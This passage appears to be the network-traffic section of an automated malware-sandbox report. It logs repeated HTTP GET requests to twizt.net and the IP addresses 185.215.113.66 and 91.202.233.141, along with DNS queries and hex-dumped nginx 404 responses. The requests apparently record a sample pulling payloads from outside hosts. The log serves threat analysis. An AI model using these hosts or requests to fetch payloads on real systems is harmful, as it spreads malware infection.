Source: global traffic	HTTP traffic detected: GET /ALLSTATA HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: twizt.net
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /3 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /4 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /5 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /6 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36Host: 91.202.233.141
Source: global traffic	HTTP traffic detected: GET /_1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66
Source: global traffic	HTTP traffic detected: GET /_2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Host: 185.215.113.66

Source: global traffic	DNS traffic detected: DNS query: yahoo.com
Source: global traffic	DNS traffic detected: DNS query: mta7.am0.yahoodns.net
Source: global traffic	DNS traffic detected: DNS query: twizt.net

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:23:08 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:23:13 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:23:15 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:23:18 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 08 May 2024 13:23:18 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 